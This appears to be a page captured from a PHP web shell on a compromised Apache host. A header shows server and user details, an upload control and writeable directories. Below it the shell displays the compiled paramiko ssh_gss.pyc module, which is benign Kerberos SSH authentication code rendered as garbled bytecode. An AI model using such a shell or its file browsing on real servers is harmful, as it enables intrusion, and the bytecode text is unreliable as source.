https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/paramiko/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/paramiko/ssh_gss.pyc
�
x�\c@sddZddlZddlZddlZeZdZddlmZddl	m
Z
mZdZyddl
Z
e
jfZWnqeefk
r�y:ddlZddlZddlZdZejfZWq�ek
r�eZdZq�XnXddlmZddlmZed	�Zd
efd��YZdefd
��YZdefd��YZdS(s�
This module provides GSS-API / SSPI  authentication as defined in :rfc:`4462`.

.. note:: Credential delegation is not supported in server mode.

.. seealso:: :doc:`/api/kex_gss`

.. versionadded:: 1.15
i����N(tObjectIdentifier(tencodertdecodertMITtSSPI(tMSG_USERAUTH_REQUEST(tSSHExceptioncCsQtdkrt||�StdkrAtjdkrAt||�Std��dS(s�
    Provide SSH2 GSS-API / SSPI authentication.

    :param str auth_method: The name of the SSH authentication mechanism
                            (gssapi-with-mic or gss-keyex)
    :param bool gss_deleg_creds: Delegate client credentials or not.
                                 We delegate credentials by default.
    :return: Either an `._SSH_GSSAPI` (Unix) object or an
             `_SSH_SSPI` (Windows) object

    :raises: ``ImportError`` -- If no GSS-API / SSPI module could be imported.

    :see: `RFC 4462 <http://www.ietf.org/rfc/rfc4462.txt>`_
    :note: Check for the available API and return either an `._SSH_GSSAPI`
           (MIT GSSAPI) object or an `._SSH_SSPI` (MS SSPI) object. If you
           get python-gssapi working on Windows, python-gssapi
           will be used and a `._SSH_GSSAPI` object will be returned.
           If there is no supported API available,
           ``None`` will be returned.
    RRtnts)Unable to import a GSS-API / SSPI module!N(t_APIt_SSH_GSSAPItostnamet	_SSH_SSPItImportError(tauth_methodtgss_deleg_creds((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytGSSAuthHs


t_SSH_GSSAuthcBsPeZdZd�Zd�Zd�Zdd�Zd�Zd�Zd�Z	RS(	s[
    Contains the shared variables and methods of `._SSH_GSSAPI` and
    `._SSH_SSPI`.
    cCsp||_||_d|_d|_d|_d|_d|_d|_t	|_
d|_t	|_d|_
dS(s�
        :param str auth_method: The name of the SSH authentication mechanism
                                (gssapi-with-mic or gss-keyex)
        :param bool gss_deleg_creds: Delegate client credentials or not
        sssh-connections1.2.840.113554.1.2.2N(t_auth_methodt_gss_deleg_credstNonet	_gss_hostt	_usernamet_session_idt_servicet
_krb5_mecht	_gss_ctxttFalset_gss_ctxt_statust
_gss_srv_ctxtt_gss_srv_ctxt_statustcc_file(tselfRR((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyt__init__ks											cCs|jd�r||_ndS(s�
        This is just a setter to use a non default service.
        I added this method, because RFC 4462 doesn't specify "ssh-connection"
        as the only service value.

        :param str service: The desired SSH service
        sssh-N(tfindR(R tservice((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytset_service�scCs
||_dS(s�
        Setter for C{username}. If GSS-API Key Exchange is performed, the
        username is not set by C{ssh_init_sec_context}.

        :param str username: The name of the user who attempts to login
        N(R(R tusername((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytset_username�stclientcCs\|jd�}tjt|j��}|jt|��}|dkrP||S|||S(s�
        This method returns a single OID, because we only support the
        Kerberos V5 mechanism.

        :param str mode: Client for client mode and server for server mode
        :return: A byte sequence containing the number of supported
                 OIDs, the length of the OID and the actual OID encoded with
                 DER
        :note: In server mode we just return the OID length and the DER encoded
               OID.
        itserver(t_make_uint32RtencodeRRtlen(R tmodetOIDstkrb5_OIDtOID_len((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytssh_gss_oids�scCs2tj|�\}}|j�|jkr.tStS(s�
        Check if the given OID is the Kerberos V5 OID (server mode).

        :param str desired_mech: The desired GSS-API mechanism of the client
        :return: ``True`` if the given OID is supported, otherwise C{False}
        (Rtdecodet__str__RRtTrue(R tdesired_mechtmecht__((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytssh_check_mech�scCstjd|�S(s�
        Create a 32 bit unsigned integer (The byte sequence of an integer).

        :param int integer: The integer value to convert
        :return: The byte sequence of an 32 bit integer
        s!I(tstructtpack(R tinteger((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyR)�scCs�|jt|��}||7}|tjdt�7}||jt|��7}||j�7}||jt|��7}||j�7}||jt|��7}||j�7}|S(s�
        Create the SSH2 MIC filed for gssapi-with-mic.

        :param str session_id: The SSH session ID
        :param str username: The name of the user who attempts to login
        :param str service: The requested SSH service
        :param str auth_method: The requested SSH authentication mechanism
        :return: The MIC as defined in RFC 4462. The contents of the
                 MIC field are:
                 string    session_identifier,
                 byte      SSH_MSG_USERAUTH_REQUEST,
                 string    user-name,
                 string    service (ssh-connection),
                 string    authentication-method
                           (gssapi-with-mic or gssapi-keyex)
        tB(R)R+R8R9RR*(R t
session_idR%R#Rtmic((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyt_ssh_build_mic�s
(
t__name__t
__module__t__doc__R!R$R&R0R7R)R>(((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyRes							R	cBseeZdZd�Zdddd�Zed�Zdd�Zdd�Z	e
d��Zd�ZRS(	sc
    Implementation of the GSS-API MIT Kerberos Authentication for SSH2.

    :see: `.GSSAuth`
    cCs_tj|||�|jr@tjtjtjtjf|_ntjtjtjf|_dS(s�
        :param str auth_method: The name of the SSH authentication mechanism
                                (gssapi-with-mic or gss-keyex)
        :param bool gss_deleg_creds: Delegate client credentials or not
        N(	RR!RtgssapitC_PROT_READY_FLAGtC_INTEG_FLAGt
C_MUTUAL_FLAGtC_DELEG_FLAGt
_gss_flags(R RR((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyR!�s	cCsq||_||_tjd|jtj�}tj�}|j|_|dkrjtj	j
|j�}nNtj
|�\}}	|j�|jkr�td��ntj	j
|j�}d}
y[|dkrtjd|d|d|j�|_|jj|
�}
n|jj|�}
WnBtjk
r]djtj�d|j�}tj|��nX|jj|_|
S(	s�
        Initialize a GSS-API context.

        :param str username: The name of the user who attempts to login
        :param str target: The hostname of the target to connect to
        :param str desired_mech: The negotiated GSS-API mechanism
                                 ("pseudo negotiated" mechanism, because we
                                 support just the krb5 mechanism :-))
        :param str recv_token: The GSS-API token received from the Server
        :raises:
            `.SSHException` -- Is raised if the desired mechanism of the client
            is not supported
        :return: A ``String`` if the GSS-API has returned a token or
            ``None`` if no token was returned
        shost@sUnsupported mechanism OID.t	peer_namet	mech_typet	req_flagss
{} Target: {}iN(RRRBtNametC_NT_HOSTBASED_SERVICEtContextRGtflagsRtOIDtmech_from_stringRRR1R2RtInitContextRtsteptGSSExceptiontformattsystexc_infotestablishedR(R ttargetR4R%t
recv_tokent	targ_nametctxt	krb5_mechR5R6ttokentmessage((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytssh_init_sec_context�s4			cCsa||_|sH|j|j|j|j|j�}|jj|�}n|jj|j�}|S(s�
        Create the MIC token for a SSH2 message.

        :param str session_id: The SSH session ID
        :param bool gss_kex: Generate the MIC for GSS-API Key Exchange or not
        :return: gssapi-with-mic:
                 Returns the MIC token from GSS-API for the message we created
                 with ``_ssh_build_mic``.
                 gssapi-keyex:
                 Returns the MIC token from GSS-API with the SSH session ID as
                 message.
        (RR>RRRRtget_micR(R R<tgss_kext	mic_fieldt	mic_token((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytssh_get_mic0s
	cCsX||_||_|jdkr3tj�|_n|jj|�}|jj|_|S(s�
        Accept a GSS-API context (server mode).

        :param str hostname: The servers hostname
        :param str username: The name of the user who attempts to login
        :param str recv_token: The GSS-API Token received from the server,
                               if it's not the initial call.
        :return: A ``String`` if the GSS-API has returned a token or ``None``
                if no token was returned
        N(	RRRRRBt
AcceptContextRRRWR(R thostnameRYR%R]((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytssh_accept_sec_contextKs		cCsu||_||_|jdk	r[|j|j|j|j|j�}|jj||�n|jj|j|�dS(st
        Verify the MIC token for a SSH2 message.

        :param str mic_token: The MIC token received from the client
        :param str session_id: The SSH session ID
        :param str username: The name of the user who attempts to login
        :return: None if the MIC check was successful
        :raises: ``gssapi.GSSException`` -- if the MIC check failed
        N(	RRRR>RRRt
verify_micR(R RcR<R%Rb((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyt
ssh_check_mic_s
		cCs|jjdk	rtStS(s�
        Checks if credentials are delegated (server mode).

        :return: ``True`` if credentials are delegated, otherwise ``False``
        N(Rtdelegated_credRR3R(R ((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytcredentials_delegatedyscCs
t�dS(s~
        Save the Client token in a file. This is used by the SSH server
        to store the client credentials if credentials are delegated
        (server mode).

        :param str client_token: The GSS-API token received form the client
        :raises:
            ``NotImplementedError`` -- Credential delegation is currently not
            supported in server mode
        N(tNotImplementedError(R tclient_token((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pytsave_client_creds�sN(
R?R@RAR!RR_RRdRgRitpropertyRkRn(((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyR	�s	1RcBsbeZdZd�Zdddd�Zed�Zd�Zdd�Z	e
d��Zd�ZRS(	sf
    Implementation of the Microsoft SSPI Kerberos Authentication for SSH2.

    :see: `.GSSAuth`
    cCsPtj|||�|jr9tjtjBtjB|_ntjtjB|_dS(s�
        :param str auth_method: The name of the SSH authentication mechanism
                                (gssapi-with-mic or gss-keyex)
        :param bool gss_deleg_creds: Delegate client credentials or not
        N(RR!RtsspicontISC_REQ_INTEGRITYtISC_REQ_MUTUAL_AUTHtISC_REQ_DELEGATERG(R RR((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyR!�s	cCs"||_||_d}d|j}|dk	rmtj|�\}}|j�|jkrmtd��qmnyY|dkr�tj	dd|j
d|�|_n|jj|�\}}	|	dj
}	Wn7tjk
r�}
|
jdj|
|j�7_�nX|dkrt|_d}	n|	S(	s�
        Initialize a SSPI context.

        :param str username: The name of the user who attempts to login
        :param str target: The FQDN of the target to connect to
        :param str desired_mech: The negotiated SSPI mechanism
                                 ("pseudo negotiated" mechanism, because we
                                 support just the krb5 mechanism :-))
        :param recv_token: The SSPI token received from the Server
        :raises:
            `.SSHException` -- Is raised if the desired mechanism of the client
            is not supported
        :return: A ``String`` if the SSPI has returned a token or ``None`` if
                 no token was returned
        ishost/sUnsupported mechanism OID.tKerberostscflagst	targetspns, Target: {}N(RRRRR1R2RRtsspit
ClientAuthRGRt	authorizetBuffert
pywintypesterrortstrerrorRTR3R(R RXR4R%RYR|RZR5R6R]te((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyR_�s,		
	cCsa||_|sH|j|j|j|j|j�}|jj|�}n|jj|j�}|S(s�
        Create the MIC token for a SSH2 message.

        :param str session_id: The SSH session ID
        :param bool gss_kex: Generate the MIC for Key Exchange with SSPI or not
        :return: gssapi-with-mic:
                 Returns the MIC token from SSPI for the message we created
                 with ``_ssh_build_mic``.
                 gssapi-keyex:
                 Returns the MIC token from SSPI with the SSH session ID as
                 message.
        (RR>RRRRtsignR(R R<RaRbRc((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyRd�s
	cCs~||_||_d|j}tjdd|�|_|jj|�\}}|dj}|dkrzt|_d}n|S(s�
        Accept a SSPI context (server mode).

        :param str hostname: The servers FQDN
        :param str username: The name of the user who attempts to login
        :param str recv_token: The SSPI Token received from the server,
                               if it's not the initial call.
        :return: A ``String`` if the SSPI has returned a token or ``None`` if
                 no token was returned
        shost/RttspniN(
RRRwt
ServerAuthRRyRzR3RR(R RfR%RYRZR|R]((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyRg�s		

		cCsr||_||_|dk	rX|j|j|j|j|j�}|jj||�n|jj|j|�dS(sk
        Verify the MIC token for a SSH2 message.

        :param str mic_token: The MIC token received from the client
        :param str session_id: The SSH session ID
        :param str username: The name of the user who attempts to login
        :return: None if the MIC check was successful
        :raises: ``sspi.error`` -- if the MIC check failed
        N(	RRRR>RRRtverifyR(R RcR<R%Rb((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyRis
		cCs |jtj@o|jp|jS(s�
        Checks if credentials are delegated (server mode).

        :return: ``True`` if credentials are delegated, otherwise ``False``
        (RGRpRsR(R ((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyRk-scCs
t�dS(s{
        Save the Client token in a file. This is used by the SSH server
        to store the client credentails if credentials are delegated
        (server mode).

        :param str client_token: The SSPI token received form the client
        :raises:
            ``NotImplementedError`` -- Credential delegation is currently not
            supported in server mode
        N(Rl(R Rm((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyRn8sN(
R?R@RAR!RR_RRdRgRiRoRkRn(((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyR�s	1	(( RAR8R
RUR3tGSS_AUTH_AVAILABLEtGSS_EXCEPTIONStpyasn1.type.univRtpyasn1.codec.derRRRRBRSR
tOSErrorR{RpRwR|RRtparamiko.commonRtparamiko.ssh_exceptionRRtobjectRR	R(((s4/tmp/pip-install-A1qMVe/paramiko/paramiko/ssh_gss.pyt<module>s6
|�

https://t.me/AnonymousX5 - 2025